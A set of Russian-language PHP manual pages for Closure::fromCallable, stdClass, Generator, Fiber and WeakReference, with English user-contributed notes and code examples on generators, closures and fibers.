(PHP 7 >= 7.1.0)

Closure::fromCallable — Конвертирует callable в замыкание

Описание

public static Closure::fromCallable(callable $callback): Closure

Создаёт и возвращает новую анонимную функцию из заданного callback, используя текущую область видимости. Этот метод проверяет, что callback является типом callable в текущей области видимости и выбрасывает исключение TypeError, если это не так.

Замечание:

Начиная с PHP 8.1.0, у Callback-функций как объектов первого класса та же семантика, что и у этого метода.

Список параметров

callback

Объект типа callable.

Возвращаемые значения

Возвращает новый объект класса Closure или выбрасывает исключение TypeError, если callback не является объектом типа callable в текущей области видимости.

Смотрите также

  • Анонимные функции
  • Callback-функции как объекты первого класса

User Contributed Notes

nakerlund at gmail dot com 23-May-2018 07:20
I have two points:

It is possible to use Closure::fromCallable to convert private/protected methods to closures and use them outside the class.

Closure::fromCallable accepts late dynamic bindings using the keyword static if provided as a string.

My code below demonstrate how a private static method can be used as a callback in a function outside the class.

<?php
function myCustomMapper ( Callable $callable, string $str ): string {
  return join(' ', array_map( $callable, explode(' ', $str) ) );
}

class MyClass {

    public static function mapUCFirst ( string $str ): string {
        $privateMethod = 'static::mapper';
        $mapper = Closure::fromCallable( $privateMethod );
        return myCustomMapper( $mapper, $str );
    }
    private static function mapper ( string $str ): string {
        return ucfirst( $str );
    }

}

echo MyClass::mapUCFirst('four little uncapitalized words');
// Prints: Four Little Uncapitalized Words
?>
4-lom at live dot de 09-May-2018 01:16
Sadly, your comparison is incorrect.

// The equivalent to
$cl1 = Closure::fromCallable("getName");
$cl1 = $cl1->bindTo($bob, 'A');

// is most likely this
$cl2 = function() {
    return call_user_func_array("getName", func_get_args());
};
$cl2 = $cl2->bindTo($bob, 'A');

Executing one or the other Closure should result in the same access violation error you already postet.

----
A simple PHP 7.0 polyfill could look like this:
----

namespace YourPackage;

/**
 * Class Closure
 *
 * @see \Closure
 */
class Closure
{
    /**
     * @see \Closure::fromCallable()
     * @param callable $callable
     * @return \Closure
     */
    public static function fromCallable(callable $callable)
    {
        // In case we've got it native, let's use that native one!
        if(method_exists(\Closure::class, 'fromCallable')) {
            return \Closure::fromCallable($callable);
        }

        return function () use ($callable) {
            return call_user_func_array($callable, func_get_args());
        };
    }
}
igorchernin at yahoo dot com 07-May-2017 08:13
It seems that the result of the "fromCallable" behaves a little bit different then an original Lambda function.

class A {
    private $name;
    public function __construct($name)
    {
        $this->name = $name;
    }
}

// test callable
function getName()
{
      return $this->name;
}
$bob = new A("Bob");

$cl1 = Closure::fromCallable("getName");
$cl1 = $cl1->bindTo($bob, 'A');

//This will retrieve: Uncaught Error: Cannot access private property A::$name
$result = $cl1();
echo $result;

//But for a Lambda function
$cl2 = function() {
    return $this->name;
};
$cl2 = $cl2->bindTo($bob, 'A');
$result = $cl2();

// This will print Bob
echo $result;


Класс stdClass

(PHP 4, PHP 5, PHP 7, PHP 8)

Введение

Пустой класс общего назначения с динамическими свойствами.

Объекты класса могут быть инициализированы с помощью оператора new или созданы с помощью преобразования в объект. Некоторые функции PHP также создают экземпляры этого класса, например, функции json_decode(), mysqli_fetch_object() или PDOStatement::fetchObject().

Несмотря на отсутствие реализации магических методов __get()/__set(), класс позволяет использовать динамические свойства и не требует атрибута #[\AllowDynamicProperties].

Это не базовый класс, поскольку в PHP нет понятия универсального базового класса. Однако можно создать пользовательский класс, который расширяет stdClass и в результате наследует функциональность динамических свойств.

Обзор классов

class stdClass {
}

У класса нет методов или свойств по умолчанию.

Примеры

Пример #1 Создание в результате преобразования в объект

<?php
$obj = (object) array('foo' => 'bar');
var_dump($obj);

Результат выполнения данного примера:

object(stdClass)#1 (1) {
  ["foo"]=>
  string(3) "bar"
}

Пример #2 Создание в результате работы функции json_decode()

<?php
$json = '{"foo":"bar"}';
var_dump(json_decode($json));

Результат выполнения данного примера:

object(stdClass)#1 (1) {
  ["foo"]=>
  string(3) "bar"
}

Пример #3 Объявление динамических свойств

<?php
$obj = new stdClass();
$obj->foo = 42;
$obj->{1} = 42;
var_dump($obj);

Результат выполнения данного примера:

object(stdClass)#1 (2) {
  ["foo"]=>
  int(42)
  ["1"]=>
  int(42)
}

User Contributed Notes

Mats M 13-Jan-2023 07:52
In PHP8 this has been changed

https://www.php.net/manual/en/migration80.incompatible.php

A number of warnings have been converted into Error exceptions:

Attempting to write to a property of a non-object. Previously this implicitly created an stdClass object for null, false and empty strings.

So if you add properties to a $var, you first need to make it a stdClass()

$var = new stdClass();
$var->propp1 = "nice";
$var->propp2 = 1234;


Класс Generator

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

Введение

Создание объектов типа Generator описано в разделе Генераторы.

Предостережение

Объекты Generator не могут быть созданы с помощью оператора new.

Обзор классов

final class Generator implements Iterator {
/* Методы */
public current(): mixed
public getReturn(): mixed
public key(): mixed
public next(): void
public rewind(): void
public send(mixed $value): mixed
public throw(Throwable $exception): mixed
public valid(): bool
public __wakeup(): void
}

Смотрите также

Смотрите также раздел Итераторы объектов.

Содержание

  • Generator::current — Получить текущее значение генератора
  • Generator::getReturn — Получить значение, возвращаемое генератором
  • Generator::key — Получить ключ сгенерированного элемента
  • Generator::next — Возобновить работу генератора
  • Generator::rewind — Перемотать итератор
  • Generator::send — Передать значение в генератор
  • Generator::throw — Бросить исключение в генератор
  • Generator::valid — Проверка, закрыт ли итератор
  • Generator::__wakeup — Callback-функция сериализации

User Contributed Notes

Pistachio 05-Feb-2016 12:04
Unlike return, yield can be used anywhere within a function so logic can flow more naturally. Take for example the following Fibonacci generator:

<?php
function fib($n)
{
    $cur = 1;
    $prev = 0;
    for ($i = 0; $i < $n; $i++) {
        yield $cur;

        $temp = $cur;
        $cur = $prev + $cur;
        $prev = $temp;
    }
}

$fibs = fib(9);
foreach ($fibs as $fib) {
    echo " " . $fib;
}

// prints: 1 1 2 3 5 8 13 21 34


Получить текущее значение генератора

  • « Generator
  • Generator::getReturn »
  • PHP Manual
  • Generator
  • Получить текущее значение генератора

Generator::current

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

Generator::current — Получить текущее значение генератора

Описание

public Generator::current(): mixed

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает текущее значение.

User Contributed Notes

gib-o-master 12-Nov-2021 02:41
current() advances untouched generator, same as next(), it makes the first step/iteration. the following calls will not.

non-yielded value will be NULL
mrsoftware73 at gmail dot com 30-Jan-2018 10:48
<?php
function gen_one_to_three() {
    for ($i = 1; $i <= 3; $i++) {
        // Note that $i is preserved between yields.
        yield $i;
    }
}

$generator = gen_one_to_three();
foreach ($generator as $value) {
    echo "regular : ".$value , PHP_EOL;
    echo "With current function : ".$generator->current(),PHP_EOL;
}
?>


Получить значение, возвращаемое генератором

  • « Generator::current
  • Generator::key »
  • PHP Manual
  • Generator
  • Получить значение, возвращаемое генератором

Generator::getReturn

(PHP 7, PHP 8)

Generator::getReturn — Получить значение, возвращаемое генератором

Описание

public Generator::getReturn(): mixed

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Получает возвращаемое значение генератора, после его завершения.

Примеры

Пример #1 Пример использования Generator::getReturn()

<?php

$gen = (function() {
yield 1;
yield 2;

return 3;
})();

foreach ($gen as $val) {
echo $val, PHP_EOL;
}

echo $gen->getReturn(), PHP_EOL;

Результат выполнения данного примера:

1
2
3

User Contributed Notes

Hayley Watson 31-Oct-2018 11:58
Just to be clear, the value returned by a generator is not yielded while it is running, but is available afterwards through the getReturn() method.

One use for this could be to record the output of a generator so that it can be iterated over again without having to reconstruct and re-run the generator. (Indeed, one could write a generator that simply does exactly this for any given iterable.)

<?php
function generate_squares($n)
{
    $record = [];
    for($i = 0; $i <= $n; ++$i)
    {
        yield ($record[] = $i * $i);
    }
    return $record;
}

$squares = generate_squares(10);
foreach($squares as $s)
{
    echo $s, ' ';
}
$recorded = $squares->getReturn();
echo "\nThat's [", join(', ', $recorded), "]";
?>

Recording keys as well would take a bit more work, as generators are free to repeat them but arrays aren't.
brandon at cryy dot com 05-Oct-2017 11:18
I'm not quite sure -- I feel there is an ambiguity issue here with returning a value inside a generator and ->getReturn() method of such generator as I have been able to return an array of sorts, something like this:

function dequeue(){
try{
  foreach($this->buffer->data as $data){ ... }
}
  return $statistics;
}

foreach(($generator = $this->dequeue()) as $bdata){
.....
}

if($statistics = $generator->getReturn()){
 // generator returns $statistics
}

Obviously this is not a complete example, but $statistics does become available with the returned array.
pemapmodder1970 at gmail dot com 28-Jul-2017 09:24
The note by jm at guide42 dot com is inaccurate. Generator::getReturn() does not check the existence of the return statement, but rather whether the function has returned (finished executing).

<?php
function f(){
  yield;
}

f()->getReturn(); // Exception: Cannot get return value of a generator that hasn't returned

$f = f();
$f->next(); // NULL
$f->getReturn(); // NULL, because having no return statement implies an empty `return;`, and the void return value is resolved to null.
jm at guide42 dot com 01-Aug-2016 05:59
Be careful that `->getReturn()` will throw an exception if no return is present in the generator:

<?php
function g() {
    yield 'A';
}
try {
    g()->getReturn();
} catch (Exception $ex) {
    var_dump($ex->getMessage());
    // Cannot get return value of a generator that hasn't returned
}
?>


Получить ключ сгенерированного элемента

  • « Generator::getReturn
  • Generator::next »
  • PHP Manual
  • Generator
  • Получить ключ сгенерированного элемента

Generator::key

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

Generator::key — Получить ключ сгенерированного элемента

Описание

public Generator::key(): mixed

Получает ключ сгенерированного элемента.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает ключ сгенерированного элемента.

Примеры

Пример #1 Пример использования Generator::key()

<?php

function Gen()
{
yield 'key' => 'value';
}

$gen = Gen();

echo "{$gen->key()} => {$gen->current()}";

Результат выполнения данного примера:

key => value

User Contributed Notes

jasonrlester at yahoo dot com 04-Jun-2022 05:59
This is important when considering how other Generators work such as JavaScript's an Python's. While PHP's generator has the ->valid() method they don't, or an equivalent. JS uses Iterator protocol which says next() should return an object of

{
    done: bool,
    value: mixed
}

In which case you can use keys->done to see if the generator can still be iterated.


Возобновить работу генератора

  • « Generator::key
  • Generator::rewind »
  • PHP Manual
  • Generator
  • Возобновить работу генератора

Generator::next

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

Generator::next — Возобновить работу генератора

Описание

public Generator::next(): void

Вызов Generator::next() имеет тот же эффект, что и вызов Generator::send() с null в качестве аргумента.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Перемотать итератор

  • « Generator::next
  • Generator::send »
  • PHP Manual
  • Generator
  • Перемотать итератор

Generator::rewind

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

Generator::rewind — Перемотать итератор

Описание

public Generator::rewind(): void

Если итерация уже начата, то выбрасывает исключение.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

i&#39;m pati on stackoverflow 05-Apr-2016 04:16
Actually, this method can be useful to test a generator before iterating, as it executes your function up to the first yield statement. I.e. if you try to read a non-existent file in a generator, an error will normally occur only in client code foreach()'s first iteration. Sometimes this can be critical to check beforehand.

Take a look at a modified example from here:
http://php.net/manual/ru/language.generators.overview.php#112985

<?php

function getLines($file) {
    $f = fopen($file, 'r');
    try {
        while ($line = fgets($f)) {
            yield $line;
        }
    } finally {
        fclose($f);
    }
}

$getLines = getLines('no_such_file.txt');
$getLines->rewind(); // with ->rewind(), a file read error will be thrown here and a log file will not be cleared

openAndClearLogFile();

foreach ($getLines as $n => $line) { // without ->rewind(), the script will die here and your log file will be cleared
    writeToLogFile('reading: ' . $line . "\n");
}

closeLogFile();

?>

P.S.: When you iterate over a generator after ->rewind(), you'll get the first yielded value immediately, as the preceding code was already executed.
uther at somewherebetweennowhere dot net 27-Jul-2015 11:38
I'm guessing the *only* purpose for this even existing is so that it is compatible with the Iterator interface o_O


Передать значение в генератор

  • « Generator::rewind
  • Generator::throw »
  • PHP Manual
  • Generator
  • Передать значение в генератор

Generator::send

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

Generator::send — Передать значение в генератор

Описание

public Generator::send(mixed $value): mixed

Передача заданного значения в генератор как результат текущего выражения yield и возобновление его работы.

Если генератор ещё не дошёл до первого вызова оператора yield, он выполнится до момента первого вызова yield, прежде чем передаст в него значение. Так что нет необходимости вызывать генератор с помощью Generator::next() перед вызовом этого метода (как это делается в Python).

Список параметров

value

Значение, которое отправляется в генератор. Это значение будет текущим возвращаемым значением выражения yield генератора.

Возвращаемые значения

Возвращает сгенерированное значение.

Примеры

Пример #1 Использование Generator::send() для внедрения значений

<?php
function printer() {
echo "I'm printer!".PHP_EOL;
while (true) {
$string = yield;
echo $string.PHP_EOL;
}
}

$printer = printer();
$printer->send('Hello world!');
$printer->send('Bye world!');
?>

Результат выполнения данного примера:

I'm printer!
Hello world!
Bye world!

User Contributed Notes

php at didatus dot de 10-May-2021 08:09
If you want to use generator::send() within a foreach loop, you will most likely get an unexpected result. The Generator::send() method resumes the generator, which means the pointer within the generator is moved to the next element in the generator list.

Here is an example:

<?php

class ApiDummy
{
    private static $apiDummyData = ['a', 'b', 'c', 'd', 'e'];

    public static function getAll(): Generator {
        foreach (self::$apiDummyData as $entry) {
            echo 'yielding $elem' . PHP_EOL;
            $newElem = (yield $entry);
            echo 'yield return: ' . $newElem . PHP_EOL;
        }
    }
}

$generator = ApiDummy::getAll();

// example iteration one with unexpected result
foreach ($generator as $elem) {
    echo 'value from generator: ' . $elem . PHP_EOL;
    $generator->send($elem . '+');
}

// example iteration two with the expected result
while ($generator->valid()) {
    $elem = $generator->current();
    echo 'value from generator: ' . $elem . PHP_EOL;
    $generator->send($elem . '+');
}
?>

The result of example iteration one:
yielding $elem
value from generator: a
yield return: a+
yielding $elem
yield return:
yielding $elem
value from generator: c
yield return: c+
yielding $elem
yield return:
yielding $elem
value from generator: e
yield return: e+

As you can see, the values b and d are not printed out and also not extended by the + sign.
The foreach loop receives the first yield and the send call causes a second yield within the first loop. Therefor the second loop already receives the third yield and so on.

To avoid this, one solution could be to use a while loop and the Generator::send() method to move the generator cursor forward and the Generator::current() method to retrieve the current value. The loop can be controlled with the Generator::valid() method which returns false, if the generator has finished. See example iterator two.

The expected result of example iteration two:
yielding $elem
value from generator: a
yield return: a+
yielding $elem
value from generator: b
yield return: b+
yielding $elem
value from generator: c
yield return: c+
yielding $elem
value from generator: d
yield return: d+
yielding $elem
value from generator: e
yield return: e+
baohx2000 at gmail dot com 24-Oct-2019 07:15
I have found that inverse generators (using $x = yield) is a great way to handle chunked batch processing. As data is being iterated, once a specific count has been fed to the generator, it processes and resets the data. For example, you could do a batch mysql insert every 500 records.

Example (note the handling of null, which you would send to the generator to handle stragglers after the previous batch)

function importer()
{
  $max = 500;
  $items = [];
  while (true) {
    $item = yield;
    if ($item !== null) {
      $items[] = yield;
    }
    if ($item === null || count($items) >= $max) {
       // do batch operations
       $items = [];
    }
  }
}
anonymous at example dot com 21-Jun-2019 10:38
As of 7.3, the behavior of a generator in a foreach loop depends on whether or not it expects to receive data. Relevant if you are experiencing "skips".

<?php
class X implements IteratorAggregate {
    public function getIterator(){
        yield from [1,2,3,4,5];
    }
    public function getGenerator(){
        foreach ($this as $j => $each){
            echo "getGenerator(): yielding: {$j} => {$each}\n";
            $val = (yield $j => $each);
            yield; // ignore foreach's next()
            echo "getGenerator(): received: {$j} => {$val}\n";
        }
    }
}
$x = new X;

foreach ($x as $i => $val){
    echo "getIterator(): {$i} => {$val}\n";
}
echo "\n";

$gen = $x->getGenerator();
foreach ($gen as $j => $val){
    echo "getGenerator(): sending:  {$j} => {$val}\n";
    $gen->send($val);
}
?>

getIterator(): 0 => 1
getIterator(): 1 => 2
getIterator(): 2 => 3
getIterator(): 3 => 4
getIterator(): 4 => 5

getGenerator(): yielding: 0 => 1
getGenerator(): sending:  0 => 1
getGenerator(): received: 0 => 1
getGenerator(): yielding: 1 => 2
getGenerator(): sending:  1 => 2
getGenerator(): received: 1 => 2
getGenerator(): yielding: 2 => 3
getGenerator(): sending:  2 => 3
getGenerator(): received: 2 => 3
getGenerator(): yielding: 3 => 4
getGenerator(): sending:  3 => 4
getGenerator(): received: 3 => 4
getGenerator(): yielding: 4 => 5
getGenerator(): sending:  4 => 5
getGenerator(): received: 4 => 5
kexianbin at diyism dot com 29-Sep-2015 06:47
an example:

$coroutine=call_user_func(create_function('', <<<'fun_code'
    echo "inner 1:\n";
    $rtn=(yield 'yield1');
    echo 'inner 2:';var_export($rtn);echo "\n";
    $rtn=(yield 'yield2');
    echo 'inner 3:';var_export($rtn);echo "\n";
    $rtn=(yield 'yield3');
    echo 'inner 4:';var_export($rtn);echo "\n";
fun_code
));
echo ":outer 1\n";                                       // :outer 1
var_export($coroutine->current());echo ":outer 2\n";     // inner 1:, 'yield1':outer 2
var_export($coroutine->current());echo ":outer 3\n";     // 'yield1':outer 3
var_export($coroutine->next());echo ":outer 4\n";        // inner 2:NULL, NULL:outer 4
var_export($coroutine->current());echo ":outer 5\n";     // 'yield2':outer 5
var_export($coroutine->send('jack'));echo ":outer 6\n";  // inner 3:'jack', 'yield3':outer 6
var_export($coroutine->current());echo ":outer 7\n";     // 'yield3':outer 7
var_export($coroutine->send('peter'));echo ":outer 8\n"; // inner 4:'peter', NULL:outer 8
sergei dot solomonov at gmail dot com 08-Oct-2013 06:30
<?php
function foo() {
    $string = yield;
    echo $string;
    for ($i = 1; $i <= 3; $i++) {
        yield $i;
    }
}

$generator = foo();
$generator->send('Hello world!');
foreach ($generator as $value) echo "$value\n";
?>

This code falls with the error:
PHP Fatal error:  Uncaught exception 'Exception' with message 'Cannot rewind a generator that was already run'.
foreach internally calls rewind, you should remember this!
sfroelich01 at sp dot gm dot ail dot am dot com 17-Jul-2013 12:11
Reading the example, it is a bit difficult to understand what exactly to do with this. The example below is a simple example of what you can do this.

<?php
function nums() {
    for ($i = 0; $i < 5; ++$i) {
                //get a value from the caller
        $cmd = (yield $i);

        if($cmd == 'stop')
            return;//exit the function
        }
}

$gen = nums();
foreach($gen as $v)
{
    if($v == 3)//we are satisfied
        $gen->send('stop');

    echo "{$v}\n";
}

//Output
0
1
2
3
?>


Бросить исключение в генератор

  • « Generator::send
  • Generator::valid »
  • PHP Manual
  • Generator
  • Бросить исключение в генератор

Generator::throw

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

Generator::throw — Бросить исключение в генератор

Описание

public Generator::throw(Throwable $exception): mixed

Выбрасывает исключение в генератор и возобновляет его выполнение. Поведение будет таким, как будто текущее значение yield заменили на выражение throw $exception.

Если к моменту вызова этого метода генератор закрыт, исключение будет выброшено в контексте вызывающего кода.

Список параметров

exception

Исключение, которое надо выбросить в генератор.

Возвращаемые значения

Возвращает сгенерированное значение.

Примеры

Пример #1 Выбрасывание исключения в итератор

<?php
function gen() {
echo "Foo\n";
try {
yield;
} catch (Exception $e) {
echo "Exception: {$e->getMessage()}\n";
}
echo "Bar\n";
}

$gen = gen();
$gen->rewind();
$gen->throw(new Exception('Test'));
?>

Результат выполнения данного примера:

Foo
Exception: Test
Bar

User Contributed Notes

gt199899 at gmail dot com 13-Nov-2017 11:38
$gen = (function () {
    try {
        yield 1;
    } catch (Exception $e) {
        echo $e->getMessage();
    }
})();

$gen->throw(new Exception('gen throw exception'));
gt199899 at gmail dot com 13-Nov-2017 11:37
$gen = (function () {
    try {
        yield 1;
    } catch (Exception $e) {
        echo $e->getMessage();
    }
})();

$gen->throw(new Exception('gen throw exception'));
jeudipolanco at ymail dot com 30-Aug-2016 09:31
there have errors the form correct to do that is of this way:

 function gen() {
    echo "Foo\n";
    try {

    throw new Exception('Prueba');

    } catch (Exception $e) {
        echo "Excepcion: {$e->getMessage()}\n";
    }
    echo "Bar\n";
}

 gen();

 i resolved one tecnic of how work getMessage look at it:

$myarray=array();

if($respuesta == "Mark"){

for($i=5;$i<=16;$i++){
try {

    $palabra="soy la excepcion en la linea:".$i;

     throw new Exception($palabra);

}
catch(Exception $e) {

        $myarray[$e->getLine()] =$palabra;

        if($e->getLine() == $i){
  echo "<br><b>La excepcion se creo en la linea : " .$e->getLine()."LA LINEA DICE:". $myarray[$e->getLine()]."</b>";
}//if

}//catch

}//for

}//if


Проверка, закрыт ли итератор

  • « Generator::throw
  • Generator::__wakeup »
  • PHP Manual
  • Generator
  • Проверка, закрыт ли итератор

Generator::valid

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

Generator::valid — Проверка, закрыт ли итератор

Описание

public Generator::valid(): bool

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает false, если итератор закрыт и true в обратном случае.

User Contributed Notes

Igor Frolov 17-May-2019 10:01
Notice if you call it with open empty generator, it will close while checking.


Callback-функция сериализации

  • « Generator::valid
  • Fiber »
  • PHP Manual
  • Generator
  • Callback-функция сериализации

Generator::__wakeup

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

Generator::__wakeup — Callback-функция сериализации

Описание

public Generator::__wakeup(): void

Выбрасывает исключение, поскольку генераторы не могут быть сериализованы.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Класс Fiber

(PHP 8 >= 8.1.0)

Введение

Файберы представляют собой прерываемые функции полного цикла. Файберы могут быть приостановлены из любого места цикла, приостанавливая выполнение в файбере до тех пор, пока файбер не будет возобновлён в будущем.

Обзор классов

final class Fiber {
/* Методы */
public __construct(callable $callback)
public start(mixed ...$args): mixed
public resume(mixed $value = null): mixed
public throw(Throwable $exception): mixed
public getReturn(): mixed
public isStarted(): bool
public isSuspended(): bool
public isRunning(): bool
public isTerminated(): bool
public static suspend(mixed $value = null): mixed
public static getCurrent(): ?Fiber
}

Смотрите также

Обзор файберов

Содержание

  • Fiber::__construct — Создаёт новый экземпляр Fiber
  • Fiber::start — Начинает выполнение файбера
  • Fiber::resume — Возобновляет выполнение файбера со значением
  • Fiber::throw — Возобновляет выполнение файбера с исключением
  • Fiber::getReturn — Получает значение, возвращаемое файбером
  • Fiber::isStarted — Определяет, запущен ли файбер
  • Fiber::isSuspended — Определяет, приостановлен ли файбер
  • Fiber::isRunning — Определяет, работает ли файбер
  • Fiber::isTerminated — Определяет, завершён ли файбер
  • Fiber::suspend — Приостанавливает выполнение текущего файбера
  • Fiber::getCurrent — Получает текущий выполняющийся экземпляр Fiber

User Contributed Notes

There are no user contributed notes for this page.


Создаёт новый экземпляр Fiber

  • « Fiber
  • Fiber::start »
  • PHP Manual
  • Fiber
  • Создаёт новый экземпляр Fiber

Fiber::__construct

(PHP 8 >= 8.1.0)

Fiber::__construct — Создаёт новый экземпляр Fiber

Описание

public Fiber::__construct(callable $callback)

Список параметров

callback

callable-функция для вызова при запуске файбера. Аргументы для Fiber::start() будут предоставляется в качестве аргументов для данного вызываемого объекта.

User Contributed Notes

There are no user contributed notes for this page.


Начинает выполнение файбера

  • « Fiber::__construct
  • Fiber::resume »
  • PHP Manual
  • Fiber
  • Начинает выполнение файбера

Fiber::start

(PHP 8 >= 8.1.0)

Fiber::start — Начинает выполнение файбера

Описание

public Fiber::start(mixed ...$args): mixed

Переменный список аргументов, передаваемый вызываемому объекту, используемый при построении файбера.

Если при вызове метода файбер уже был запущен, будет выброшено FiberError.

Список параметров

args

Аргументы, которые следует использовать при вызове вызываемого объекта, передаваемого конструктору файбера.

Возвращаемые значения

Значение, предоставленное при первом вызове Fiber::suspend() или null в случае возврата файбера. Если файбер выбросил исключение перед приостановкой, оно будет выброшено из вызова этого метода.

User Contributed Notes

Astrid 18-Dec-2021 01:49
Maybe this helps wrapping your had around the start-suspend-resume-return circle:

$fiber = new Fiber(
    function($one) {
        $two = Fiber::suspend($one);
        $three = Fiber::suspend($two);
        $four = Fiber::suspend($three);
        $five = Fiber::suspend($four);
        $six = Fiber::suspend($five);
        return $six;
    }
);

print $fiber->start(1);
print $fiber->resume(2);
print $fiber->resume(3);
print $fiber->resume(4);
print $fiber->resume(5);
print $fiber->resume(6);
print $fiber->getReturn();

//prints 123456


Возобновляет выполнение файбера со значением

  • « Fiber::start
  • Fiber::throw »
  • PHP Manual
  • Fiber
  • Возобновляет выполнение файбера со значением

Fiber::resume

(PHP 8 >= 8.1.0)

Fiber::resume — Возобновляет выполнение файбера со значением

Описание

public Fiber::resume(mixed $value = null): mixed

Возобновляет файбер, используя заданное значение в результате текущего вызова Fiber::suspend().

Если файбер не приостановлен при вызове метода, будет выброшена ошибка FiberError.

Список параметров

value

Значение для возобновления файбера. Значение будет возвращаемым значением текущего вызова Fiber::suspend().

Возвращаемые значения

Значение, предоставленное для следующего вызова Fiber::suspend() или null в случае возврата файбера. Если файбер выбросил исключение перед приостановкой, оно будет выброшено из вызова этого метода.

User Contributed Notes

There are no user contributed notes for this page.


Возобновляет выполнение файбера с исключением

  • « Fiber::resume
  • Fiber::getReturn »
  • PHP Manual
  • Fiber
  • Возобновляет выполнение файбера с исключением

Fiber::throw

(PHP 8 >= 8.1.0)

Fiber::throw — Возобновляет выполнение файбера с исключением

Описание

public Fiber::throw(Throwable $exception): mixed

Возобновляет выполнение файбера, выбрасывая данное исключение из текущего вызова Fiber::suspend().

Если файбер не приостановлен при вызове метода, будет выброшена ошибка FiberError.

Список параметров

exception

Исключение, которое нужно передать в файбер из текущего вызова Fiber::suspend().

Возвращаемые значения

Значение, предоставленное при первом вызове Fiber::suspend() или null в случае возврата файбера. Если файбер выбросил исключение перед приостановкой, оно будет выброшено из вызова этого метода.

User Contributed Notes

There are no user contributed notes for this page.


Получает значение, возвращаемое файбером

  • « Fiber::throw
  • Fiber::isStarted »
  • PHP Manual
  • Fiber
  • Получает значение, возвращаемое файбером

Fiber::getReturn

(PHP 8 >= 8.1.0)

Fiber::getReturn — Получает значение, возвращаемое файбером

Описание

public Fiber::getReturn(): mixed

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает значение, возвращаемое callable-функцией, предоставленной в Fiber::__construct(). Если файбер не вернул значение, либо потому, что он не было запущен, либо не был завершён, либо выбросил исключение, будет выброшено исключение FiberError.

User Contributed Notes

There are no user contributed notes for this page.


Определяет, запущен ли файбер

  • « Fiber::getReturn
  • Fiber::isSuspended »
  • PHP Manual
  • Fiber
  • Определяет, запущен ли файбер

Fiber::isStarted

(PHP 8 >= 8.1.0)

Fiber::isStarted — Определяет, запущен ли файбер

Описание

public Fiber::isStarted(): bool

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true только после того, как файбер был запущен, в противном случае возвращает false.

User Contributed Notes

There are no user contributed notes for this page.


Определяет, приостановлен ли файбер

  • « Fiber::isStarted
  • Fiber::isRunning »
  • PHP Manual
  • Fiber
  • Определяет, приостановлен ли файбер

Fiber::isSuspended

(PHP 8 >= 8.1.0)

Fiber::isSuspended — Определяет, приостановлен ли файбер

Описание

public Fiber::isSuspended(): bool

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true, если файбер в данный момент приостановлен, в противном случае возвращает false.

User Contributed Notes

There are no user contributed notes for this page.


Определяет, работает ли файбер

  • « Fiber::isSuspended
  • Fiber::isTerminated »
  • PHP Manual
  • Fiber
  • Определяет, работает ли файбер

Fiber::isRunning

(PHP 8 >= 8.1.0)

Fiber::isRunning — Определяет, работает ли файбер

Описание

public Fiber::isRunning(): bool

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true только если файбер работает. Файбер считается работающим после вызова Fiber::start(), Fiber::resume() или Fiber::throw(), который ещё не был возвращён. Возвращает false, если файбер не работает.

User Contributed Notes

There are no user contributed notes for this page.


Определяет, завершён ли файбер

  • « Fiber::isRunning
  • Fiber::suspend »
  • PHP Manual
  • Fiber
  • Определяет, завершён ли файбер

Fiber::isTerminated

(PHP 8 >= 8.1.0)

Fiber::isTerminated — Определяет, завершён ли файбер

Описание

public Fiber::isTerminated(): bool

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true только после того, как файбер завершился, либо путём возврата, либо выбросив исключение, в противном случае возвращает false.

User Contributed Notes

There are no user contributed notes for this page.


Приостанавливает выполнение текущего файбера

  • « Fiber::isTerminated
  • Fiber::getCurrent »
  • PHP Manual
  • Fiber
  • Приостанавливает выполнение текущего файбера

Fiber::suspend

(PHP 8 >= 8.1.0)

Fiber::suspend — Приостанавливает выполнение текущего файбера

Описание

public static Fiber::suspend(mixed $value = null): mixed

Приостанавливает выполнение текущего файбера. Значение, предоставленное этому методу, будет возвращено из вызова Fiber::start(), Fiber::resume() или Fiber::throw(), который переключил выполнение текущего файбера.

Когда выполнение файбера возобновляется, метод возвращает значение, предоставленное в Fiber::resume(). Если выполнение файбера возобновляется с использованием Fiber::throw, исключение, переданное этому методу, будет выброшено при вызове метода.

Если этот метод вызывается извне файбера, будет выброшена ошибка FiberError.

Список параметров

value

Значение, возвращаемое при вызове Fiber::start(), Fiber::resume() или Fiber::throw(), которые переключают выполнение текущего файбера.

Возвращаемые значения

Значение, предоставленное Fiber::resume().

User Contributed Notes

There are no user contributed notes for this page.


Получает текущий выполняющийся экземпляр Fiber

  • « Fiber::suspend
  • WeakReference »
  • PHP Manual
  • Fiber
  • Получает текущий выполняющийся экземпляр Fiber

Fiber::getCurrent

(PHP 8 >= 8.1.0)

Fiber::getCurrent — Получает текущий выполняющийся экземпляр Fiber

Описание

public static Fiber::getCurrent(): ?Fiber

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает выполняющийся в данный момент экземпляр Fiber или null, если метод вызывается извне файбера.

User Contributed Notes

There are no user contributed notes for this page.


Класс WeakReference

(PHP 7 >= 7.4.0, PHP 8)

Введение

Класс WeakReference предоставляет способ доступа к объекту, не влияя при этом на количество ссылок на него, таким образом сборщик мусора сможет освободить этот объект.

Объект класса WeakReference не может быть сериализован.

Обзор классов

final class WeakReference {
/* Методы */
public __construct()
public static create(object $object): WeakReference
public get(): ?object
}

